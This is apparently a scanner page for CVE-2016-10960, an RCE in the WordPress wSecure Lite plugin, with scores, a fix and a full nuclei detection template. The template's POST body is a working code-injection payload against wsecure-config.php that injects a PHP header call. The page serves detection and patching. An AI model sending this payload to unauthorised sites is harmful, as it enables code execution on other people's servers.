WordPress wSecure Lite < 2.4 - Remote Code Execution

highseverity

8.8CVSS score

8.7%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

WordPress wsecure plugin before 2.4 is susceptible to remote code execution via shell metacharacters in the wsecure-config.php publish parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.

Fix

Update to the latest version of WordPress wSecure Lite plugin (2.4 or higher) to fix the vulnerability.

How to confirm it

Send: POST {{BaseURL}}/wp-content/plugins/wsecure/wsecure-config.php
Positive when: contains in header "{{name}}: CVE-2016-10960" AND status 200

Run it with nuclei: nuclei -id CVE-2016-10960 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-10960

info:
  name: WordPress wSecure Lite < 2.4 - Remote Code Execution
  author: daffainfo
  severity: high
  description: WordPress wsecure plugin before 2.4 is susceptible to remote code execution via shell metacharacters in the wsecure-config.php publish parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
  remediation: |
    Update to the latest version of WordPress wSecure Lite plugin (2.4 or higher) to fix the vulnerability.
  reference:
    - https://www.pluginvulnerabilities.com/2016/07/12/remote-code-execution-rce-vulnerability-in-wsecure-lite/
    - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-wsecure-lite-remote-code-execution-2-3/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10960
    - https://wordpress.org/plugins/wsecure/#developers
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2016-10960
    cwe-id: CWE-20
    epss-score: 0.08738
    epss-percentile: 0.95193
    cpe: cpe:2.3:a:joomlaserviceprovider:wsecure:*:*:*:*:lite:wordpress:*:*
  metadata:
    max-request: 1
    vendor: joomlaserviceprovider
    product: wsecure
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wsecure"
  tags: cve2016,cve,wordpress,wp-plugin,rce,joomlaserviceprovider,vkev,vuln
variables:
  name: "{{to_lower(rand_text_alpha(5))}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-content/plugins/wsecure/wsecure-config.php"

    body: 'wsecure_action=update&publish=";} header("{{name}}: CVE-2016-10960"); class WSecureConfig2 {var $test="'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "{{name}}: CVE-2016-10960"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from